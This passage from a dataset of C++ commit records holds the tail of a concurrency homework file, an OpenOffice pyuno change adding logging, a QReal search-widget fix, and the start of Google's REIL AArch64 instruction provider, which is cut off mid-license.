\/ 2);\n\n  return y * x;\n}\n\nconcurrent_queue<matrix> pipeline;\nstd::future<matrix> blur_image_async(matrix x) {\n  return std::async(std::launch::async, [](matrix bmp) {\n    matrix kernel = binomial(3);\n    conv(bmp, kernel);\n    return std::move(bmp);\n  }, std::move(x));\n}\n\nint main_q4() {\n  auto pipeline_thread = std::thread([] {\n    for (;;) {\n      auto x = pipeline.pop();\n      auto b = blur_image_async(std::move(x)).share();\n      Promise::then(b, [](auto f) {\n        matrix h = histogram(f.get());\n      }).wait();\n    }\n  });\n  Promise::then(load_image_async(\"image.png\").share(), [](auto f) {\n    pipeline.push(f.get());\n  }).wait();\n  pipeline_thread.join();\n  return 0;\n}\n\/* 4 end *\/\n\n\/*\n* 5a. How does a semaphore differ from mutex?\n* - A semaphore differs from a mutex in that it is not a mutual exclusion lock,\n* - a semaphore, unlike a mutex, can be aquired multiple times (depending on how\n* - the sempahore is created) unlike a mutex which is strictly locked or unlocked.\n* - Additionally, a semaphore lives in the file system and is not restrictied to the\n* - process in which it was created (like a mutex), which makes it useful to lock\n* - access to things like shared memory pools across processes.\n*\n* 5b. Describe the operation of a bar (sitting down, ordering a drink) in terms\n* of a semaphore and mutex.\n* = Semaphore:\n* - A bar has `n` number of seats, so a semapore is constructed accordingly.\n* - The semaphore (or a bar seat) can be aquired up to `n` times before parties\n* - begin waiting for a seat at the bar. Meaning, each person can reserve a seat\n* - by sitting (aquiring) it and then leaving (releasing) the seat, where then\n* - the fastest person to react can aquire the released seat. This experiences\n* - contention when the semaphore is fully aquired, but not at the same level as a mutex.\n*\n* = Mutex:\n* - The bar has a single seat and the bar tender refuses to serve anyone who is\n* - not sitting at that seat. The seat can be locked (sat in) and then unlocked\n* - (individual leaves). When the seat is unlocked, the fastest person to react\n* - can then sit (lock) in the seat. This means that after the seat is taken,\n* - every new person who wishes to have service must wait, which creates contention\n* - in the form of a large blob of people (many threads waiting in the kernel on\n* - the lock).\n*\/\n\nint main(int argc, char **argv) {\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: pyuno_util.cxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 16:54:18 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#include <osl\/thread.h>\n\n#include <typelib\/typedescription.hxx>\n\n#include <rtl\/strbuf.hxx>\n#include <rtl\/ustrbuf.hxx>\n\n#include <com\/sun\/star\/beans\/XMaterialHolder.hpp>\n\n#include \"pyuno_impl.hxx\"\n\n\nusing rtl::OUStringToOString;\nusing rtl::OUString;\nusing rtl::OString;\nusing rtl::OStringBuffer;\nusing rtl::OUStringBuffer;\n\n\nusing com::sun::star::uno::TypeDescription;\nusing com::sun::star::uno::Sequence;\nusing com::sun::star::uno::Reference;\nusing com::sun::star::uno::XInterface;\nusing com::sun::star::uno::Any;\nusing com::sun::star::uno::Type;\nusing com::sun::star::uno::UNO_QUERY;\nusing com::sun::star::uno::TypeClass;\nusing com::sun::star::uno::RuntimeException;\nusing com::sun::star::uno::XComponentContext;\nusing com::sun::star::lang::XSingleServiceFactory;\nusing com::sun::star::script::XTypeConverter;\nusing com::sun::star::beans::XMaterialHolder;\n\n#define USTR_ASCII(x) OUString( RTL_CONSTASCII_USTRINGPARAM( x ) )\nnamespace pyuno\n{\nPyRef ustring2PyUnicode( const OUString & str )\n{\n    PyRef ret;\n#if Py_UNICODE_SIZE == 2\n    ret = PyRef( PyUnicode_FromUnicode( str.getStr(), str.getLength() ), SAL_NO_ACQUIRE );\n#else\n    OString sUtf8(OUStringToOString(str, RTL_TEXTENCODING_UTF8));\n    ret = PyRef( PyUnicode_DecodeUTF8( sUtf8.getStr(), sUtf8.getLength(), NULL) , SAL_NO_ACQUIRE );\n#endif\n    return ret;\n}\n\nPyRef ustring2PyString( const OUString &str )\n{\n    OString o = OUStringToOString( str, osl_getThreadTextEncoding() );\n    return PyRef( PyString_FromString( o.getStr() ), SAL_NO_ACQUIRE );\n}\n\nOUString pyString2ustring( PyObject *pystr )\n{\n    OUString ret;\n    if( PyUnicode_Check( pystr ) )\n    {\n#if Py_UNICODE_SIZE == 2\n    ret = OUString( (sal_Unicode * ) PyUnicode_AS_UNICODE( pystr ) );\n#else\n    PyObject* pUtf8 = PyUnicode_AsUTF8String(pystr);\n    ret = OUString(PyString_AsString(pUtf8), PyString_Size(pUtf8), RTL_TEXTENCODING_UTF8);\n    Py_DECREF(pUtf8);\n#endif\n    }\n    else\n    {\n        char *name = PyString_AsString(pystr );\n        ret = OUString( name, strlen(name), osl_getThreadTextEncoding() );\n    }\n    return ret;\n}\n\nPyRef getObjectFromUnoModule( const Runtime &runtime, const char * func )\n    throw ( RuntimeException )\n{\n    PyRef object(PyDict_GetItemString( runtime.getImpl()->cargo->getUnoModule().get(), (char*)func ) );\n    if( !object.is() )\n    {\n        OUStringBuffer buf;\n        buf.appendAscii( \"couldn't find core function \" );\n        buf.appendAscii( func );\n        throw RuntimeException(buf.makeStringAndClear(),Reference< XInterface >());\n    }\n    return object;\n}\n\n}\n<commit_msg>INTEGRATION: CWS pyunofixes2 (1.3.10); FILE MERGED 2006\/01\/07 21:36:43 jbu 1.3.10.2: RESYNC: (1.3-1.4); FILE MERGED 2005\/09\/09 18:43:07 jbu 1.3.10.1: #i54416#,#i47270# added logging support for pyuno + refcounting bug for __members__ variable fixed<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: pyuno_util.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: obo $ $Date: 2006-03-22 10:52:11 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#include <time.h>\n#include <osl\/thread.h>\n\n#include <typelib\/typedescription.hxx>\n\n#include <rtl\/strbuf.hxx>\n#include <rtl\/ustrbuf.hxx>\n#include <osl\/time.h>\n\n#include <com\/sun\/star\/beans\/XMaterialHolder.hpp>\n\n#include \"pyuno_impl.hxx\"\n\n\nusing rtl::OUStringToOString;\nusing rtl::OUString;\nusing rtl::OString;\nusing rtl::OStringBuffer;\nusing rtl::OUStringBuffer;\n\n\nusing com::sun::star::uno::TypeDescription;\nusing com::sun::star::uno::Sequence;\nusing com::sun::star::uno::Reference;\nusing com::sun::star::uno::XInterface;\nusing com::sun::star::uno::Any;\nusing com::sun::star::uno::Type;\nusing com::sun::star::uno::UNO_QUERY;\nusing com::sun::star::uno::TypeClass;\nusing com::sun::star::uno::RuntimeException;\nusing com::sun::star::uno::XComponentContext;\nusing com::sun::star::lang::XSingleServiceFactory;\nusing com::sun::star::script::XTypeConverter;\nusing com::sun::star::beans::XMaterialHolder;\n\n#define USTR_ASCII(x) OUString( RTL_CONSTASCII_USTRINGPARAM( x ) )\nnamespace pyuno\n{\nPyRef ustring2PyUnicode( const OUString & str )\n{\n    PyRef ret;\n#if Py_UNICODE_SIZE == 2\n    ret = PyRef( PyUnicode_FromUnicode( str.getStr(), str.getLength() ), SAL_NO_ACQUIRE );\n#else\n    OString sUtf8(OUStringToOString(str, RTL_TEXTENCODING_UTF8));\n    ret = PyRef( PyUnicode_DecodeUTF8( sUtf8.getStr(), sUtf8.getLength(), NULL) , SAL_NO_ACQUIRE );\n#endif\n    return ret;\n}\n\nPyRef ustring2PyString( const OUString &str )\n{\n    OString o = OUStringToOString( str, osl_getThreadTextEncoding() );\n    return PyRef( PyString_FromString( o.getStr() ), SAL_NO_ACQUIRE );\n}\n\nOUString pyString2ustring( PyObject *pystr )\n{\n    OUString ret;\n    if( PyUnicode_Check( pystr ) )\n    {\n#if Py_UNICODE_SIZE == 2\n    ret = OUString( (sal_Unicode * ) PyUnicode_AS_UNICODE( pystr ) );\n#else\n    PyObject* pUtf8 = PyUnicode_AsUTF8String(pystr);\n    ret = OUString(PyString_AsString(pUtf8), PyString_Size(pUtf8), RTL_TEXTENCODING_UTF8);\n    Py_DECREF(pUtf8);\n#endif\n    }\n    else\n    {\n        char *name = PyString_AsString(pystr );\n        ret = OUString( name, strlen(name), osl_getThreadTextEncoding() );\n    }\n    return ret;\n}\n\nPyRef getObjectFromUnoModule( const Runtime &runtime, const char * func )\n    throw ( RuntimeException )\n{\n    PyRef object(PyDict_GetItemString( runtime.getImpl()->cargo->getUnoModule().get(), (char*)func ) );\n    if( !object.is() )\n    {\n        OUStringBuffer buf;\n        buf.appendAscii( \"couldn't find core function \" );\n        buf.appendAscii( func );\n        throw RuntimeException(buf.makeStringAndClear(),Reference< XInterface >());\n    }\n    return object;\n}\n\n\n\/\/------------------------------------------------------------------------------------\n\/\/ Logging\n\/\/------------------------------------------------------------------------------------\n\nbool isLog( RuntimeCargo * cargo, sal_Int32 loglevel )\n{\n    return cargo && cargo->logFile && loglevel <= cargo->logLevel;\n}\n\nvoid log( RuntimeCargo * cargo, sal_Int32 level, const rtl::OUString &logString )\n{\n    log( cargo, level, OUStringToOString( logString, osl_getThreadTextEncoding() ).getStr() );\n}\n\nvoid log( RuntimeCargo * cargo, sal_Int32 level, const char *str )\n{\n    if( isLog( cargo, level ) )\n    {\n        static const char *strLevel[] = { \"NONE\", \"CALL\", \"ARGS\" };\n\n        TimeValue systemTime;\n        TimeValue localTime;\n        oslDateTime localDateTime;\n\n        osl_getSystemTime( &systemTime );\n        osl_getLocalTimeFromSystemTime( &systemTime, &localTime );\n        osl_getDateTimeFromTimeValue( &localTime, &localDateTime );\n\n        fprintf( cargo->logFile,\n                 \"%4i-%02i-%02i %02i:%02i:%02i,%03i [%s,tid %i]: %s\\n\",\n                 localDateTime.Year,\n                 localDateTime.Month,\n                 localDateTime.Day,\n                 localDateTime.Hours,\n                 localDateTime.Minutes,\n                 localDateTime.Seconds,\n                 localDateTime.NanoSeconds\/1000000,\n                 strLevel[level],\n                 (sal_Int32) osl_getThreadIdentifier( 0),\n                 str );\n    }\n}\n\nvoid logException( RuntimeCargo *cargo, const char *intro,\n                   sal_Int64 ptr, const rtl::OUString &aFunctionName,\n                   const void * data, const com::sun::star::uno::Type & type )\n{\n    if( isLog( cargo, LogLevel::CALL ) )\n    {\n        rtl::OUStringBuffer buf( 128 );\n        buf.appendAscii( intro );\n        buf.append( ptr , 16);\n        buf.appendAscii( RTL_CONSTASCII_STRINGPARAM(\"].\") );\n        buf.append( aFunctionName );\n        buf.appendAscii( RTL_CONSTASCII_STRINGPARAM( \" = \" ) );\n        buf.append(\n            val2str( data, type.getTypeLibType(), VAL2STR_MODE_SHALLOW ) );\n        log( cargo,LogLevel::CALL, buf.makeStringAndClear() );\n    }\n\n}\n\nvoid logReply(\n    RuntimeCargo *cargo,\n    const char *intro,\n    sal_Int64 ptr,\n    const rtl::OUString & aFunctionName,\n    const Any &returnValue,\n    const Sequence< Any > & aParams )\n{\n    rtl::OUStringBuffer buf( 128 );\n    buf.appendAscii( intro );\n    buf.append( (sal_Int64) ptr, 16);\n    buf.appendAscii( RTL_CONSTASCII_STRINGPARAM(\"].\") );\n    buf.append( aFunctionName );\n    buf.appendAscii( RTL_CONSTASCII_STRINGPARAM(\"()=\") );\n    if( isLog( cargo, LogLevel::ARGS ) )\n    {\n        buf.append(\n            val2str( returnValue.getValue(), returnValue.getValueTypeRef(), VAL2STR_MODE_SHALLOW) );\n        for( int i = 0; i < aParams.getLength() ; i ++ )\n        {\n            buf.appendAscii( RTL_CONSTASCII_STRINGPARAM(\", \" ) );\n            buf.append(\n                val2str( aParams[i].getValue(), aParams[i].getValueTypeRef(), VAL2STR_MODE_SHALLOW) );\n        }\n    }\n    log( cargo,LogLevel::CALL, buf.makeStringAndClear() );\n\n}\n\nvoid logCall( RuntimeCargo *cargo, const char *intro,\n          sal_Int64 ptr, const rtl::OUString & aFunctionName, const Sequence< Any > & aParams )\n{\n    rtl::OUStringBuffer buf( 128 );\n    buf.appendAscii( intro );\n    buf.append( (sal_Int64) ptr, 16);\n    buf.appendAscii( RTL_CONSTASCII_STRINGPARAM(\"].\") );\n    buf.append( aFunctionName );\n    buf.appendAscii( RTL_CONSTASCII_STRINGPARAM(\"(\") );\n    if( isLog( cargo, LogLevel::ARGS ) )\n    {\n        for( int i = 0; i < aParams.getLength() ; i ++ )\n        {\n            if( i > 0 )\n                buf.appendAscii( RTL_CONSTASCII_STRINGPARAM(\", \" ) );\n            buf.append(\n                val2str( aParams[i].getValue(), aParams[i].getValueTypeRef(), VAL2STR_MODE_SHALLOW) );\n        }\n    }\n    buf.appendAscii( RTL_CONSTASCII_STRINGPARAM(\")\") );\n    log( cargo,LogLevel::CALL, buf.makeStringAndClear() );\n}\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Use SparseState instead of std::vector. Cleaning dead code. Feature #3510158.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2015 QReal Research Group, Dmitry Mordvinov\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"searchLineEdit.h\"\n\n#include <QtCore\/QPropertyAnimation>\n#include <QtGui\/QIcon>\n#include <QtWidgets\/QAction>\n#include <QtWidgets\/QMenu>\n#include <QtWidgets\/QStyle>\n#include <QtWidgets\/QHBoxLayout>\n#include <QtWidgets\/QToolButton>\n#include <QtWidgets\/QLineEdit>\n\nusing namespace qReal::ui;\n\nSearchLineEdit::SearchLineEdit(QWidget *parent, bool borderEnabled)\n\t: QFrame(parent)\n\t, mOptionsButton(initButton(QIcon(\":\/widgets\/icons\/find.svg\"), QString()))\n\t, mClearButton(initButton(style()->standardIcon(QStyle::SP_LineEditClearButton), tr(\"Clear text\")))\n\t, mCaseInsensitive(new QAction(tr(\"Case insensitive\"), this))\n\t, mCaseSensitive(new QAction(tr(\"Case sensitive\"), this))\n\t, mRegularExpression(new QAction(tr(\"Regular expression\"), this))\n\t, mCurrentOption(SearchOptions::CaseInsensitive)\n{\n\tQHBoxLayout * const layout = new QHBoxLayout(this);\n\tlayout->setContentsMargins(2, 2, 2, 2);\n\tlayout->setSpacing(2);\n\n\tmLineEdit = new QLineEdit(this);\n\tconnect(mLineEdit, &QLineEdit::textChanged, this, &SearchLineEdit::onTextChanged);\n\tmLineEdit->setPlaceholderText(tr(\"Enter search text...\"));\n\tmLineEdit->setStyleSheet(\"border: 0\");\n\n\tmakeContextMenu();\n\tmOptionsButton->setPopupMode(QToolButton::InstantPopup);\n\tmOptionsButton->setFixedSize(16, 12);\n\tmCaseInsensitive->trigger();\n\n\tconnect(mClearButton, &QAbstractButton::clicked, mLineEdit, &QLineEdit::clear);\n\tmClearButton->setFixedSize(16, 16);\n\tmClearButton->hide();\n\n\tlayout->addWidget(mOptionsButton);\n\tlayout->addWidget(mLineEdit);\n\tlayout->addWidget(mClearButton);\n\n\tsetBorderEnabled(borderEnabled);\n}\n\nvoid SearchLineEdit::setBorderEnabled(bool enabled)\n{\n\tif (enabled) {\n\t\tsetStyleSheet(\"QFrame { background: white; border: 1px solid black; border-radius: 2px; }\");\n\t} else {\n\t\tsetStyleSheet(\"QFrame { background: white; }\");\n\t}\n}\n\nvoid SearchLineEdit::setLineEditColor(const QColor &color)\n{\n\tmLineEdit->setStyleSheet(QString(\"QLineEdit {background: %1}\").arg(color.name(QColor::HexArgb)));\n}\n\nvoid SearchLineEdit::focusMe()\n{\n\tmLineEdit->setFocus(Qt::ShortcutFocusReason);\n}\n\nvoid SearchLineEdit::setSearchOption(const SearchLineEdit::SearchOptions &option)\n{\n\tmCurrentOption = option;\n}\n\nvoid SearchLineEdit::makeSearchOptionsSelectable(bool selectable)\n{\n\tmOptionsButton->setEnabled(selectable);\n}\n\nvoid SearchLineEdit::setPlaceHolderTextToLineEdit(const QString &text)\n{\n\tmLineEdit->setPlaceholderText(text);\n}\n\nQString SearchLineEdit::getText() const\n{\n\treturn mLineEdit->text();\n}\n\nvoid SearchLineEdit::clearText()\n{\n\tmLineEdit->clear();\n}\n\nQToolButton *SearchLineEdit::initButton(const QIcon &icon, const QString &toolTip)\n{\n\tQToolButton * const result = new QToolButton(this);\n\tresult->setIcon(icon);\n\tresult->setToolTip(toolTip);\n\tresult->setStyleSheet(\"QToolButton { border: 0; } QToolButton:menu-indicator { image: none; }\");\n\treturn result;\n}\n\nvoid SearchLineEdit::onTextChanged(const QString &text)\n{\n\tmClearButton->setVisible(!text.isEmpty());\n\tnotifyTextChanged();\n}\n\nvoid SearchLineEdit::makeContextMenu()\n{\n\tconnect(mCaseSensitive, &QAction::triggered, [=]() {\n\t\tmCurrentOption = SearchOptions::CaseSensitive;\n\t\tnotifyTextChanged();\n\t});\n\tconnect(mCaseInsensitive, &QAction::triggered, [=]() {\n\t\tmCurrentOption = SearchOptions::CaseInsensitive;\n\t\tnotifyTextChanged();\n\t});\n\tconnect(mRegularExpression, &QAction::triggered, [=]() {\n\t\tmCurrentOption = SearchOptions::RegularExpression;\n\t\tnotifyTextChanged();\n\t});\n\n\tQActionGroup * const group = new QActionGroup(this);\n\tgroup->setExclusive(true);\n\tgroup->addAction(mCaseInsensitive);\n\tgroup->addAction(mCaseSensitive);\n\tgroup->addAction(mRegularExpression);\n\n\tfor (QAction * const action : group->actions()) {\n\t\taction->setCheckable(true);\n\t}\n\n\tQMenu * const menu = new QMenu(this);\n\tmenu->addActions(group->actions());\n\tmOptionsButton->setMenu(menu);\n}\n\nvoid SearchLineEdit::notifyTextChanged()\n{\n\temit textChanged(regexpFromText(mLineEdit->text(), mCurrentOption));\n}\n\nQRegExp SearchLineEdit::regexpFromText(const QString &text, SearchOptions option) const\n{\n\tif (option == SearchOptions::RegularExpression) {\n\t\treturn QRegExp(text);\n\t}\n\n\tconst QStringList parts = text.split(QRegExp(\"\\\\s+\"), QString::SkipEmptyParts);\n\tQRegExp result(parts.join(\"|\"));\n\tresult.setCaseSensitivity(option == SearchOptions::CaseSensitive ? Qt::CaseSensitive : Qt::CaseInsensitive);\n\treturn result;\n}\n<commit_msg>fix search options<commit_after>\/* Copyright 2015 QReal Research Group, Dmitry Mordvinov\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"searchLineEdit.h\"\n\n#include <QtCore\/QPropertyAnimation>\n#include <QtGui\/QIcon>\n#include <QtWidgets\/QAction>\n#include <QtWidgets\/QMenu>\n#include <QtWidgets\/QStyle>\n#include <QtWidgets\/QHBoxLayout>\n#include <QtWidgets\/QToolButton>\n#include <QtWidgets\/QLineEdit>\n\nusing namespace qReal::ui;\n\nSearchLineEdit::SearchLineEdit(QWidget *parent, bool borderEnabled)\n\t: QFrame(parent)\n\t, mOptionsButton(initButton(QIcon(\":\/widgets\/icons\/find.svg\"), QString()))\n\t, mClearButton(initButton(style()->standardIcon(QStyle::SP_LineEditClearButton), tr(\"Clear text\")))\n\t, mCaseInsensitive(new QAction(tr(\"Case insensitive\"), this))\n\t, mCaseSensitive(new QAction(tr(\"Case sensitive\"), this))\n\t, mRegularExpression(new QAction(tr(\"Regular expression\"), this))\n\t, mCurrentOption(SearchOptions::CaseInsensitive)\n{\n\tQHBoxLayout * const layout = new QHBoxLayout(this);\n\tlayout->setContentsMargins(2, 2, 2, 2);\n\tlayout->setSpacing(2);\n\n\tmLineEdit = new QLineEdit(this);\n\tconnect(mLineEdit, &QLineEdit::textChanged, this, &SearchLineEdit::onTextChanged);\n\tmLineEdit->setPlaceholderText(tr(\"Enter search text...\"));\n\tmLineEdit->setStyleSheet(\"border: 0\");\n\n\tmakeContextMenu();\n\tmOptionsButton->setPopupMode(QToolButton::InstantPopup);\n\tmOptionsButton->setFixedSize(16, 12);\n\tmCaseInsensitive->trigger();\n\n\tconnect(mClearButton, &QAbstractButton::clicked, mLineEdit, &QLineEdit::clear);\n\tmClearButton->setFixedSize(16, 16);\n\tmClearButton->hide();\n\n\tlayout->addWidget(mOptionsButton);\n\tlayout->addWidget(mLineEdit);\n\tlayout->addWidget(mClearButton);\n\n\tsetBorderEnabled(borderEnabled);\n}\n\nvoid SearchLineEdit::setBorderEnabled(bool enabled)\n{\n\tif (enabled) {\n\t\tsetStyleSheet(\"QFrame { background: white; border: 1px solid black; border-radius: 2px; }\");\n\t} else {\n\t\tsetStyleSheet(\"QFrame { background: white; }\");\n\t}\n}\n\nvoid SearchLineEdit::setLineEditColor(const QColor &color)\n{\n\tmLineEdit->setStyleSheet(QString(\"QLineEdit {background: %1}\").arg(color.name(QColor::HexArgb)));\n}\n\nvoid SearchLineEdit::focusMe()\n{\n\tmLineEdit->setFocus(Qt::ShortcutFocusReason);\n}\n\nvoid SearchLineEdit::setSearchOption(const SearchLineEdit::SearchOptions &option)\n{\n\tmCurrentOption = option;\n}\n\nvoid SearchLineEdit::makeSearchOptionsSelectable(bool selectable)\n{\n\tmOptionsButton->setEnabled(selectable);\n}\n\nvoid SearchLineEdit::setPlaceHolderTextToLineEdit(const QString &text)\n{\n\tmLineEdit->setPlaceholderText(text);\n}\n\nQString SearchLineEdit::getText() const\n{\n\treturn mLineEdit->text();\n}\n\nvoid SearchLineEdit::clearText()\n{\n\tmLineEdit->clear();\n}\n\nQToolButton *SearchLineEdit::initButton(const QIcon &icon, const QString &toolTip)\n{\n\tQToolButton * const result = new QToolButton(this);\n\tresult->setIcon(icon);\n\tresult->setToolTip(toolTip);\n\tresult->setStyleSheet(\"QToolButton { border: 0; } QToolButton:menu-indicator { image: none; }\");\n\treturn result;\n}\n\nvoid SearchLineEdit::onTextChanged(const QString &text)\n{\n\tmClearButton->setVisible(!text.isEmpty());\n\tnotifyTextChanged();\n}\n\nvoid SearchLineEdit::makeContextMenu()\n{\n\tconnect(mCaseSensitive, &QAction::triggered, [=]() {\n\t\tmCurrentOption = SearchOptions::CaseSensitive;\n\t\tnotifyTextChanged();\n\t});\n\n\tconnect(mCaseInsensitive, &QAction::triggered, [=]() {\n\t\tmCurrentOption = SearchOptions::CaseInsensitive;\n\t\tnotifyTextChanged();\n\t});\n\n\tconnect(mRegularExpression, &QAction::triggered, [=]() {\n\t\tmCurrentOption = SearchOptions::RegularExpression;\n\t\tnotifyTextChanged();\n\t});\n\n\tQActionGroup * const group = new QActionGroup(this);\n\tgroup->setExclusive(true);\n\tgroup->addAction(mCaseInsensitive);\n\tgroup->addAction(mCaseSensitive);\n\tgroup->addAction(mRegularExpression);\n\n\tfor (QAction * const action : group->actions()) {\n\t\taction->setCheckable(true);\n\t}\n\n\tQMenu * const menu = new QMenu(this);\n\tmenu->addActions(group->actions());\n\tmOptionsButton->setMenu(menu);\n}\n\nvoid SearchLineEdit::notifyTextChanged()\n{\n\temit textChanged(regexpFromText(mLineEdit->text(), mCurrentOption));\n}\n\nQRegExp SearchLineEdit::regexpFromText(const QString &text, SearchOptions option) const\n{\n\tQRegExp result(text);\n\n\tswitch (option) {\n\t\tcase SearchOptions::RegularExpression:\n\t\t\treturn result;\n\t\tcase SearchOptions::CaseInsensitive:\n\t\t\tresult.setPatternSyntax(QRegExp::FixedString);\n\t\t\tresult.setCaseSensitivity(Qt::CaseInsensitive);\n\t\t\treturn result;\n\t\tcase SearchOptions::CaseSensitive:\n\t\t\tresult.setPatternSyntax(QRegExp::FixedString);\n\t\t\tresult.setCaseSensitivity(Qt::CaseSensitive);\n\t\t\treturn result;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Shuffle: fix hint<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>adding TC\/699-DIV2-500.cc<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2018 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"flow_graph\/instruction_provider.h\"\n\n#include \"absl\/memory\/memory.h\"\n\n#include \"reil\/aarch64.h\"\n\n#define GOOGLE_STRIP_LOG 1\n#include \"glog\/logging.h\"\n\nnamespace reil {\nuint64_t InstructionProvider::NextNativeInstruction(uint64_t address) {\n  uint64_t next_address = 0;\n\n  if (memory_image_.executable(address)) {\n    absl::Span<const uint8_t> bytes = memory_image_.Read(address);\n    next_address = NextNativeInstruction(address, bytes);\n  }\n\n  return next_address;\n}\n\nstd::shared_ptr<reil::NativeInstruction> InstructionProvider::NativeInstruction(\n    uint64_t address) {\n  std::shared_ptr<reil::NativeInstruction> ni = nullptr;\n\n  auto cache_iter = cache_.find(address);\n  if (cache_iter != cache_.end()) {\n    ni = cache_iter->second.lock();\n  }\n\n  if (!ni) {\n    if (memory_image_.executable(address)) {\n      absl::Span<const uint8_t> bytes = memory_image_.Read(address);\n      ni = std::make_shared<reil::NativeInstruction>(std::move(NativeInstruction(address, bytes)));\n      cache_[address] = ni;\n      cache__[cache__index_++ % cache__.size()] = ni;\n    }\n  }\n\n  return ni;\n}\n\nNode InstructionProvider::NextInstruction(const Node& node) {\n  auto ni = NativeInstruction(node.address);\n  if ((uint64_t)node.offset + 1 < ni->reil.size()) {\n    return Node(node.address, node.offset + 1);\n  } else {\n    return Node(NextNativeInstruction(node.address));\n  }\n}\n\nreil::Instruction InstructionProvider::Instruction(const Node& node) {\n  auto ni = NativeInstruction(node.address);\n  DCHECK(node.offset < ni->reil.size());\n  return ni->reil[node.offset];\n}\n\nInstructionProvider::InstructionProvider(const MemoryImage& memory_image,\n                                   enum TranslationFlags flags)\n    : memory_image_(memory_image), flags_(flags) {}\n\nInstructionProvider::~InstructionProvider() {}\n\nclass AArch64InstructionProvider : public InstructionProvider {\n protected:\n  uint64_t NextNativeInstruction(uint64_t address,\n                                 absl::Span<const uint8_t> bytes) override;\n  reil::NativeInstruction NativeInstruction(uint64_t address,\n                                      absl::Span<const uint8_t> bytes) override;\n\n public:\n  AArch64InstructionProvider(const MemoryImage& memory_image,\n                          enum TranslationFlags flags)\n      : InstructionProvider(memory_image, flags) {}\n};\n\nuint64_t AArch64InstructionProvider::NextNativeInstruction(\n    uint64_t address, absl::Span<const uint8_t> bytes) {\n  return address + 4;\n}\n\nreil::NativeInstruction AArch64InstructionProvider::NativeInstruction(\n    uint64_t address, absl::Span<const uint8_t> bytes) {\n  return reil::aarch64::TranslateInstruction(address, bytes.data(),\n                                             bytes.size(), flags_);\n}\n\nstd::unique_ptr<InstructionProvider> InstructionProvider::Create(\n    const MemoryImage& memory_image, enum TranslationFlags flags) {\n  if (memory_image.architecture_name() == \"aarch64\") {\n    return absl::make_unique<AArch64InstructionProvider>(memory_image, flags);\n  } else {\n    LOG(FATAL) << \"Unsupported architecture\";\n  }\n}\n}  \/\/ namespace reil<commit_msg>Removing unneccessary move.<commit_after>\/\/ Copyright 2018 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY 